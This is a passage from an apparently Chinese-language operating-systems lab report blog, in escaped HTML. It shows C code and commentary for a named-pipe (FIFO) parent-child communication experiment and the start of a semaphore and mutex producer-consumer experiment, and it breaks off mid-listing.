class=\"string\"\u003e\u0026#34;Child process %d result %d\\n\u0026#34;\u003c/span\u003e, getpid(), res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (res != \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e write(res, \u003cspan class=\"string\"\u003e\u0026#34;Hello\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d finished\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e open_mode = O_RDONLY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e20\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// wait for child to finish\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e waitpid(pid, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent process started.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d opening FIFO O_RDONLY\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = open(FIFO_NAME, open_mode);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d result %d\\n\u0026#34;\u003c/span\u003e, getpid(), res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (res != \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e read(res, buffer, \u003cspan class=\"number\"\u003e20\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d read %s\\n\u0026#34;\u003c/span\u003e, getpid(), buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d finished\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-4\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523165148.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,子进程成功向命名匿名管道写入数据,并被父进程读取并打印出来。\u003c/p\u003e\u003ch3 id=\"五、实验心得-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-4\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下命名匿名管道的原理和用法,知道了如何使用系统调用来创建和操作命名匿名管道,在父子进程之间进行单向通信。同时,我也了解了如何使用文件操作函数来读写命名匿名管道\u003c/p\u003e\u003ch2 id=\"实验6:信号量实现进程同步\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C6%EF%BC%9A%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%AE%9E%E7%8E%B0%E8%BF%9B%E7%A8%8B%E5%90%8C%E6%AD%A5\" class=\"headerlink\" title=\"实验6:信号量实现进程同步\"\u003e\u003c/a\u003e实验6:信号量实现进程同步\u003c/h2\u003e\u003ch3 id=\"一、实验目标-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-5\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解信号量的原理和用法\u003c/li\u003e\u003cli\u003e使用信号量实现生产者消费者问题的进程同步\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-5\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003esemaphore.h\u003c/code\u003e和\u003ccode\u003eunistd.h\u003c/code\u003e。在主程序中定义一个全局变量\u003ccode\u003ebuffer\u003c/code\u003e作为缓冲区,并初始化为0。随后在主程序中创建两个信号量\u003ccode\u003eempty\u003c/code\u003e和\u003ccode\u003efull\u003c/code\u003e,分别表示空缓冲区的数量和满缓冲区的数量,并初始化为8和0。然后使用\u003ccode\u003efork()\u003c/code\u003e函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程作为消费者进程,循环执行以下操作:使用\u003ccode\u003esem_wait()\u003c/code\u003e函数等待\u003ccode\u003efull\u003c/code\u003e信号量,表示有产品可消费;使用\u003ccode\u003esleep()\u003c/code\u003e函数模拟消费时间;将缓冲区的值减一,并打印出当前缓冲区的值;使用\u003ccode\u003esem_post()\u003c/code\u003e函数增加\u003ccode\u003eempty\u003c/code\u003e信号量,表示释放一个空缓冲区。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程作为生产者进程,循环执行以下操作:使用\u003ccode\u003esem_wait()\u003c/code\u003e函数等待\u003ccode\u003eempty\u003c/code\u003e信号量,表示有空缓冲区可用;使用\u003ccode\u003esleep()\u003c/code\u003e函数模拟生产时间;将缓冲区的值加一,并打印出当前缓冲区的值;使用\u003ccode\u003esem_post()\u003c/code\u003e函数增加\u003ccode\u003efull\u003c/code\u003e信号量,表示增加一个满缓冲区。\u003c/p\u003e\u003ch3 id=\"三、实验代码-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-5\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;pthread.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;semaphore.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SIZE 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[SIZE], index=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esem_t\u003c/span\u003e items, space;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003epthread_mutex_t\u003c/span\u003e mutex;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003eproduce\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *arg)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_wait(\u0026amp;space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_lock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//c = getchar();\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e + rand()%\u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[producer] %c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e buffer[index++] = c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_unlock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_post(\u0026amp;items);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003econsume\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *arg)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_wait(\u0026amp;items);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_lock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = buffer[--index];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[consumer] %c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_unlock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_post(\u0026amp;space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprint_buffer\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e; i\u0026lt;index; i++){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, buffer[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003epthread_t\u003c/span\u003e p1, c1, p2, c2, p3, c3;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pthread_mutex_init(\u0026amp;mutex, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) != \u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Mutex init failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_init(\u0026amp;items, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_init(\u0026amp;space, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, SIZE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c2, \u003cspan 